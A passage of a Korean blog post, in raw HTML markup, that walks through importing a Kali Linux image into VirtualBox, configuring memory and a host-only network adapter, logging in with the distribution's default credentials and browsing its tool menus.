data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;VirtualBox를 열고&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;1283&quot; data-origin-height=&quot;734&quot; width=&quot;558&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kWDmc/btqFgHUrmrl/qYoa6ColnGSMLJ1yva36PK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kWDmc/btqFgHUrmrl/qYoa6ColnGSMLJ1yva36PK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kWDmc/btqFgHUrmrl/qYoa6ColnGSMLJ1yva36PK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkWDmc%2FbtqFgHUrmrl%2FqYoa6ColnGSMLJ1yva36PK%2Fimg.png&quot; data-filename=&quot;17.PNG&quot; data-origin-width=&quot;1283&quot; data-origin-height=&quot;734&quot; width=&quot;558&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;파일 -&amp;gt; 가상 시스템 가져오기를 누른다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;849&quot; width=&quot;558&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/mPB78/btqFg42WpcM/olYZYBOBbA16oKhbuuXfv0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/mPB78/btqFg42WpcM/olYZYBOBbA16oKhbuuXfv0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/mPB78/btqFg42WpcM/olYZYBOBbA16oKhbuuXfv0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FmPB78%2FbtqFg42WpcM%2FolYZYBOBbA16oKhbuuXfv0%2Fimg.png&quot; data-filename=&quot;18.PNG&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;849&quot; width=&quot;558&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 다음과 같은 창이 나올 것이다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;19.PNG&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;849&quot; width=&quot;560&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sWpot/btqFfXDshzF/44vkZ344AeOkzDnN9Fwqf0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sWpot/btqFfXDshzF/44vkZ344AeOkzDnN9Fwqf0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sWpot/btqFfXDshzF/44vkZ344AeOkzDnN9Fwqf0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsWpot%2FbtqFfXDshzF%2F44vkZ344AeOkzDnN9Fwqf0%2Fimg.png&quot; data-filename=&quot;19.PNG&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;849&quot; width=&quot;560&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;여기서 폴더모양의 아이콘을 클릭하고 칼리 리눅스 ova를 선택해준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;20.PNG&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;849&quot; width=&quot;545&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ciPtT1/btqFeCNP1YG/2omNL96LTz58gvqaUQk6GK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ciPtT1/btqFeCNP1YG/2omNL96LTz58gvqaUQk6GK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ciPtT1/btqFeCNP1YG/2omNL96LTz58gvqaUQk6GK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FciPtT1%2FbtqFeCNP1YG%2F2omNL96LTz58gvqaUQk6GK%2Fimg.png&quot; data-filename=&quot;20.PNG&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;849&quot; width=&quot;545&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;849&quot; width=&quot;542&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgBXoR/btqFgJdDD3T/tcQUv54nIXAH3JGwQXOQx1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgBXoR/btqFgJdDD3T/tcQUv54nIXAH3JGwQXOQx1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgBXoR/btqFgJdDD3T/tcQUv54nIXAH3JGwQXOQx1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgBXoR%2FbtqFgJdDD3T%2FtcQUv54nIXAH3JGwQXOQx1%2Fimg.png&quot; data-filename=&quot;21.PNG&quot; data-origin-width=&quot;954&quot; data-origin-height=&quot;849&quot; width=&quot;542&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;가져오기를 누르면&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;535&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kzvVt/btqFg4IGA7V/nTbGWki3qfiGMcTv7x7txk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kzvVt/btqFg4IGA7V/nTbGWki3qfiGMcTv7x7txk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kzvVt/btqFg4IGA7V/nTbGWki3qfiGMcTv7x7txk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkzvVt%2FbtqFg4IGA7V%2FnTbGWki3qfiGMcTv7x7txk%2Fimg.png&quot; data-filename=&quot;22.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;535&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이런 화면이 나오는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;좀 더 칼리리눅스를 수월하게 사용하기 위해&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;551&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tAKFH/btqFecV3qh3/my5DMapn2ynOTn0KHppKr1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tAKFH/btqFecV3qh3/my5DMapn2ynOTn0KHppKr1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tAKFH/btqFecV3qh3/my5DMapn2ynOTn0KHppKr1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FtAKFH%2FbtqFecV3qh3%2Fmy5DMapn2ynOTn0KHppKr1%2Fimg.png&quot; data-filename=&quot;blob&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;551&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;왼쪽의 칼리리눅스 아이콘을 오른쪽 마우스로 눌러서 설정을 누른다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;24.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;555&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVqTUw/btqFfuatfl7/9U4ZcQfbse7ZmGp061zXM1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVqTUw/btqFfuatfl7/9U4ZcQfbse7ZmGp061zXM1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVqTUw/btqFfuatfl7/9U4ZcQfbse7ZmGp061zXM1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVqTUw%2FbtqFfuatfl7%2F9U4ZcQfbse7ZmGp061zXM1%2Fimg.png&quot; data-filename=&quot;24.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;555&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;25.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;557&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brSTmh/btqFeOUKwbh/9kKXPz5RnIOYxpzN9XyxKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brSTmh/btqFeOUKwbh/9kKXPz5RnIOYxpzN9XyxKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brSTmh/btqFeOUKwbh/9kKXPz5RnIOYxpzN9XyxKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrSTmh%2FbtqFeOUKwbh%2F9kKXPz5RnIOYxpzN9XyxKK%2Fimg.png&quot; data-filename=&quot;25.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;557&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;원활한 진행을 위해서 메모리를 좀 더 증가시켜준다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;26.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;554&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd6pqq/btqFeOgawPo/aKs3xoyxrBS1TchdK7RXNK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd6pqq/btqFeOgawPo/aKs3xoyxrBS1TchdK7RXNK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd6pqq/btqFeOgawPo/aKs3xoyxrBS1TchdK7RXNK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd6pqq%2FbtqFeOgawPo%2FaKs3xoyxrBS1TchdK7RXNK%2Fimg.png&quot; data-filename=&quot;26.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;554&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그다음 네트워크를 설정하기 위해&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;27.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;558&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjdhdi/btqFeDFWyvO/NCXdxA4BxBZfrwe2MVqMgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjdhdi/btqFeDFWyvO/NCXdxA4BxBZfrwe2MVqMgK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjdhdi/btqFeDFWyvO/NCXdxA4BxBZfrwe2MVqMgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcjdhdi%2FbtqFeDFWyvO%2FNCXdxA4BxBZfrwe2MVqMgK%2Fimg.png&quot; data-filename=&quot;27.PNG&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; width=&quot;558&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; data-filename=&quot;28.PNG&quot; width=&quot;564&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sITHh/btqFe3RIPav/r2ec5iY0a7OB9BMvExUxK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sITHh/btqFe3RIPav/r2ec5iY0a7OB9BMvExUxK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sITHh/btqFe3RIPav/r2ec5iY0a7OB9BMvExUxK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsITHh%2FbtqFe3RIPav%2Fr2ec5iY0a7OB9BMvExUxK1%2Fimg.png&quot; data-origin-width=&quot;895&quot; data-origin-height=&quot;572&quot; data-filename=&quot;28.PNG&quot; width=&quot;564&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;어댑터를 추가하고 호스트 전용 어댑터로 설정해준다.&lt;/p&gt;
&lt;p&gt;이렇게 하면 어댑터1(NAT)로 설정된 어댑터는 외부로 인터넷을 사용하고 어댑터2(호스트 전용 어댑터)는 다른 가상 머신들과 별도의 사설 네트워크에서 통신할 수 있도록 만들어 주는 것이다.&lt;/p&gt;
&lt;p&gt;그리고 확인 버튼을 누르면 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;29.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;563&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bn5XWj/btqFeNn00V2/tq0UAtaxvhlKJzbwXnixT1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bn5XWj/btqFeNn00V2/tq0UAtaxvhlKJzbwXnixT1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bn5XWj/btqFeNn00V2/tq0UAtaxvhlKJzbwXnixT1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbn5XWj%2FbtqFeNn00V2%2Ftq0UAtaxvhlKJzbwXnixT1%2Fimg.png&quot; data-filename=&quot;29.PNG&quot; data-origin-width=&quot;1282&quot; data-origin-height=&quot;734&quot; width=&quot;563&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그리고 더블 클릭으로 칼리 리눅스를 실행시켜준다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;30.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;566&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/32fvB/btqFhlDnHBP/h3pKpNZKiHJrLHiSk1JeRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/32fvB/btqFhlDnHBP/h3pKpNZKiHJrLHiSk1JeRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/32fvB/btqFhlDnHBP/h3pKpNZKiHJrLHiSk1JeRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F32fvB%2FbtqFhlDnHBP%2Fh3pKpNZKiHJrLHiSk1JeRk%2Fimg.png&quot; data-filename=&quot;30.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;566&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Username이 뜨면 root&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;31.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;567&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c7ibuX/btqFfZgXn1z/TkHkNosGkBuFKD2TfjCMUk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c7ibuX/btqFfZgXn1z/TkHkNosGkBuFKD2TfjCMUk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c7ibuX/btqFfZgXn1z/TkHkNosGkBuFKD2TfjCMUk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc7ibuX%2FbtqFfZgXn1z%2FTkHkNosGkBuFKD2TfjCMUk%2Fimg.png&quot; data-filename=&quot;31.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;567&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Password가 뜨면 toor을 입력해준다.&lt;/p&gt;
&lt;p&gt;(2020.1 버전부터 kali/kali 로 변경되었다.)&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;32.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;566&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MYtt6/btqFeDza4om/S3CgAgznghR1o2cz5tjrP0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MYtt6/btqFeDza4om/S3CgAgznghR1o2cz5tjrP0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MYtt6/btqFeDza4om/S3CgAgznghR1o2cz5tjrP0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMYtt6%2FbtqFeDza4om%2FS3CgAgznghR1o2cz5tjrP0%2Fimg.png&quot; data-filename=&quot;32.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;566&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그럼 칼리 리눅스가 완전히 켜지게 된다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;33.PNG&quot; width=&quot;564&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/UW7tO/btqFePe7cZS/z50qRKS1QbaHPPHabgvPGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/UW7tO/btqFePe7cZS/z50qRKS1QbaHPPHabgvPGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/UW7tO/btqFePe7cZS/z50qRKS1QbaHPPHabgvPGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FUW7tO%2FbtqFePe7cZS%2Fz50qRKS1QbaHPPHabgvPGk%2Fimg.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;33.PNG&quot; width=&quot;564&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;Application을 누르면 여러 메뉴들이 나오는데&amp;nbsp;&lt;/p&gt;
&lt;p&gt;첫 번째는 정보수집에 관련된 프로그램을 모아두었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;34.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;578&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xYhza/btqFeOmUjuS/pHUKR1znLBuQ8VZKOGI321/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xYhza/btqFeOmUjuS/pHUKR1znLBuQ8VZKOGI321/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xYhza/btqFeOmUjuS/pHUKR1znLBuQ8VZKOGI321/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxYhza%2FbtqFeOmUjuS%2FpHUKR1znLBuQ8VZKOGI321%2Fimg.png&quot; data-filename=&quot;34.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;578&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;두 번째는 취약점 분석에 관련된 프로그램을 모아두었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;35.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;581&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/P44WZ/btqFgwMogvB/Nlsh6MSB01K8KgEw4eZ0Rk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/P44WZ/btqFgwMogvB/Nlsh6MSB01K8KgEw4eZ0Rk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/P44WZ/btqFgwMogvB/Nlsh6MSB01K8KgEw4eZ0Rk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FP44WZ%2FbtqFgwMogvB%2FNlsh6MSB01K8KgEw4eZ0Rk%2Fimg.png&quot; data-filename=&quot;35.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; 